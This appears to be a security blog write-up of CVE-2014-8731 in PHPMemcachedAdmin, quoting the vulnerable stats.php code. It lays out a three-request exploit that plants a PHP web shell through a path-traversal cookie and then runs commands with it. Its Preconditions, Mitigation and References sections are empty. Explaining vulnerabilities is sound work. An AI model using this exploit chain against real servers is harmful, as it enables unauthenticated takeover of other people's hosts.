netw0rk.io

PHPMemcachedAdmin RCE — CVE-2014-8731

CVE-2014-8731 is an unauthenticated RCE in PHPMemcachedAdmin ≤ 1.2.2. The CVE is from 2014. I wrote a PoC in 2022 - git.sbani.net.

Root cause

stats.php derives a file path from two user-controlled inputs and writes to it:

$hash = md5($_REQUEST['cluster']);

if (!isset($_COOKIE['live_stats_id' . $hash])) {
    // generate new id
} else {
    $live_stats_id = $_COOKIE['live_stats_id' . $hash];
}

$file_path = rtrim($_ini->get('file_path'), '/')
           . DIRECTORY_SEPARATOR
           . 'live_stats.' . $live_stats_id;

Result: arbitrary file write, attacker-controlled name and content, inside the document root.

Exploit

Three requests:

  1. POST a cluster definition. The cluster name contains the PHP payload, e.g. <?php system($_GET['cmd']); ?>. The app stores it verbatim.
  2. GET stats.php?cluster=<name> with cookie live_stats_id<md5(name)>=../shell.php. The server resolves file_path to <webroot>/shell.php and writes the dump, which embeds the cluster name.
  3. GET /shell.php?cmd=id. PHP parses the file; everything outside the <?php ... ?> tags is ignored, payload executes.

Preconditions:

Impact

Pre-auth RCE as the web server user. PHPMemcachedAdmin has no built-in authentication. Typical deployments expose it on an internal management VLAN with no reverse proxy auth, so anyone reaching the host owns it.

Mitigation

Upstream is unmaintained. Options:

References